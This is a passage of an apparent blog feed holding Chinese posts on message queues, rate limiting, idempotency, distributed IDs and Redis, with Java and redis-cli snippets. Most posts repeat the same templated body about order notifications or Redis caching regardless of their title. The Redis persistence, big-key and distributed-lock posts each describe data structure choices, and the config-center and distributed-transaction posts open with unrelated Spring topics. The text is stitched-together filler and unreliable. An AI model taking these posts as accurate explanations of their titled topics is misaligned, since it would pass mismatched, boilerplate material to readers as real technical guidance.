        <content type="html"><![CDATA[<h1 id="配置中心解决了什么问题"><a href="#配置中心解决了什么问题" class="headerlink" title="配置中心解决了什么问题"></a>配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="限流熔断降级的区别和落地"><a href="#限流熔断降级的区别和落地" class="headerlink" title="限流熔断降级的区别和落地"></a>限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式事务为什么难"><a href="#分布式事务为什么难" class="headerlink" title="分布式事务为什么难"></a>分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="接口幂等性设计从业务开始"><a href="#接口幂等性设计从业务开始" class="headerlink" title="接口幂等性设计从业务开始"></a>接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式-ID-生成方案怎么选"><a href="#分布式-ID-生成方案怎么选" class="headerlink" title="分布式 ID 生成方案怎么选"></a>分布式 ID 生成方案怎么选</h1><p>分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="延迟队列的业务场景和实现思路"><a href="#延迟队列的业务场景和实现思路" class="headerlink" title="延迟队列的业务场景和实现思路"></a>延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="消息丢失问题从生产到消费排查"><a href="#消息丢失问题从生产到消费排查" class="headerlink" title="消息丢失问题从生产到消费排查"></a>消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="消息重复消费如何保证幂等"><a href="#消息重复消费如何保证幂等" class="headerlink" title="消息重复消费如何保证幂等"></a>消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="消息队列为什么能削峰填谷"><a href="#消息队列为什么能削峰填谷" class="headerlink" title="消息队列为什么能削峰填谷"></a>消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-大-key-和热-key-排查"><a href="#Redis-大-key-和热-key-排查" class="headerlink" title="Redis 大 key 和热 key 排查"></a>Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-持久化-RDB-和-AOF-怎么选"><a href="#Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="Redis 持久化 RDB 和 AOF 怎么选"></a>Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-分布式锁的正确姿势"><a href="#Redis-分布式锁的正确姿势" class="headerlink" title="Redis 分布式锁的正确姿势"></a>Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" 